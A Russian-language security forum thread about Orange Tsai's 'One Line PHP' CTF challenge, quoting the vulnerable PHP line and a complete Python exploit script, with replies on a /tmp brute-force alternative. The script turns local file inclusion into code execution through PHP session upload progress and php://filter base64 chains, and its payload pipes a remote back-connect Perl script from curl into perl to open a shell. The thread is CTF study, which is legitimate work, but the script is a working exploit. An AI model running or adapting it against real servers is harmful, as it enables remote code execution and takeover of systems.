Старый 24.10.2018, 01:18   #1
Beched
 
Регистрация: 06.07.2010
Сообщений: 395
Репутация: 118
По умолчанию LFI via PHP session upload progress

Опять тайваньцы (Orange) нас унижают.

https://github.com/orangetw/My-CTF-Web-Challenges#one-line-php-challenge

PHP код:
<?php
  
($_=@$_GET['orange']) && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__);
Сплойт:

Код:
import sys
import string
import requests
from base64 import b64encode
from random import sample, randint
from multiprocessing.dummy import Pool as ThreadPool



HOST = 'http://54.250.246.238/'
sess_name = 'iamorange'

headers = {
    'Connection': 'close', 
    'Cookie': 'PHPSESSID=' + sess_name
}

payload = '@<?php `curl orange.tw/w/bc.pl|perl -`;?>'


while 1:
    junk = ''.join(sample(string.ascii_letters, randint(8, 16)))
    x = b64encode(payload + junk)
    xx = b64encode(b64encode(payload + junk))
    xxx = b64encode(b64encode(b64encode(payload + junk)))
    if '=' not in x and '=' not in xx and '=' not in xxx:
        payload = xxx
        print payload
        break

def runner1(i):
    data = {
        'PHP_SESSION_UPLOAD_PROGRESS': 'ZZ' + payload + 'Z'
    }
    while 1:
        fp = open('/etc/passwd', 'rb')
        r = requests.post(HOST, files={'f': fp}, data=data, headers=headers)
        fp.close()

def runner2(i):
    filename = '/var/lib/php/sessions/sess_' + sess_name
    filename = 'php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s' % filename
    # print filename
    while 1:
        url = '%s?orange=%s' % (HOST, filename)
        r = requests.get(url, headers=headers)
        c = r.content
        if c and 'orange' not in c:
            print [c]


if sys.argv[1] == '1':
    runner = runner1
else:
    runner = runner2

pool = ThreadPool(32)
result = pool.map_async( runner, range(32) ).get(0xffff)
Итак, при не очень особых обстоятельствах возможна эксплуатация LFI путём насильного создания сессии (без session_start()!), если отправить параметр PHP_SESSION_UPLOAD_PROGRESS.

В сплойте также ещё юзается трюк с комбинацией фильтров для создания нужного префикса в шеллкоде, но это не так интересно, и нам уже известно.

А вот про сессии -- опять-таки оплошали =)


Кстати, некоторые команды (например, Bushwhackers) решили этот таск путём брута /tmp/php******. Задержка временных файлов в /tmp/ достигалась за счёт инклуда /dev/random.
Beched вне форума   Ответить с цитированием
Старый 25.10.2018, 14:37   #2
crlf
 
Аватар для crlf
 
Регистрация: 29.09.2015
Сообщений: 100
Репутация: 17
По умолчанию

Апельсин как всегда жжёт! Теперь нужно накидывать юзкейсы


Цитата:
Задержка временных файлов в /tmp/ достигалась за счёт инклуда /dev/random.
У меня почему-то не инклудит:

Код:
Warning: include(/dev/random): failed to open stream: No such file or directory in /var/www/eval.php(27) : eval()'d code on line 1

Warning: include(): Failed opening '/dev/random' for inclusion (include_path='.:/usr/share/php') in /var/www/eval.php(27) : eval()'d code on line 1
Код:
user@laptop:~$ php -r 'include("file:///dev/random");'
PHP Warning:  include(/dev/random): failed to open stream: Illegal seek in Command line code on line 1
PHP Warning:  include(): Failed opening 'file:///dev/random' for inclusion (include_path='.:/usr/share/php') in Command line code on line 1
user@laptop:~$ php -r 'include("/dev/random");'
PHP Warning:  include(/dev/random): failed to open stream: Illegal seek in Command line code on line 1
PHP Warning:  include(): Failed opening '/dev/random' for inclusion (include_path='.:/usr/share/php') in Command line code on line 1
user@laptop:~$
PHP 5.6.36

Может я что-то упускаю и надо по другому тестить? При фаззинге SSRF-ок, тоже замечал отрицательный результат на некоторых хостах, думал что фетч этих путей пофиксили.
crlf на форуме   Ответить с цитированием
Старый 27.10.2018, 21:44   #3
Beched
 
Регистрация: 06.07.2010
Сообщений: 395
Репутация: 118
По умолчанию

Цитата:
Сообщение от crlf Посмотреть сообщение
Апельсин как всегда жжёт! Теперь нужно накидывать юзкейсы



У меня почему-то не инклудит:

Код:
Warning: include(/dev/random): failed to open stream: No such file or directory in /var/www/eval.php(27) : eval()'d code on line 1

Warning: include(): Failed opening '/dev/random' for inclusion (include_path='.:/usr/share/php') in /var/www/eval.php(27) : eval()'d code on line 1
Код:
user@laptop:~$ php -r 'include("file:///dev/random");'
PHP Warning:  include(/dev/random): failed to open stream: Illegal seek in Command line code on line 1
PHP Warning:  include(): Failed opening 'file:///dev/random' for inclusion (include_path='.:/usr/share/php') in Command line code on line 1
user@laptop:~$ php -r 'include("/dev/random");'
PHP Warning:  include(/dev/random): failed to open stream: Illegal seek in Command line code on line 1
PHP Warning:  include(): Failed opening '/dev/random' for inclusion (include_path='.:/usr/share/php') in Command line code on line 1
user@laptop:~$
PHP 5.6.36

Может я что-то упускаю и надо по другому тестить? При фаззинге SSRF-ок, тоже замечал отрицательный результат на некоторых хостах, думал что фетч этих путей пофиксили.


Верно, вру, тут задержка не в инклуде возникала, а в file(), там норм открывается /dev/random. Т.е. это именно для этого таска так проканало.
Beched вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2018, Jelsoft Enterprises Ltd. Перевод: zCarot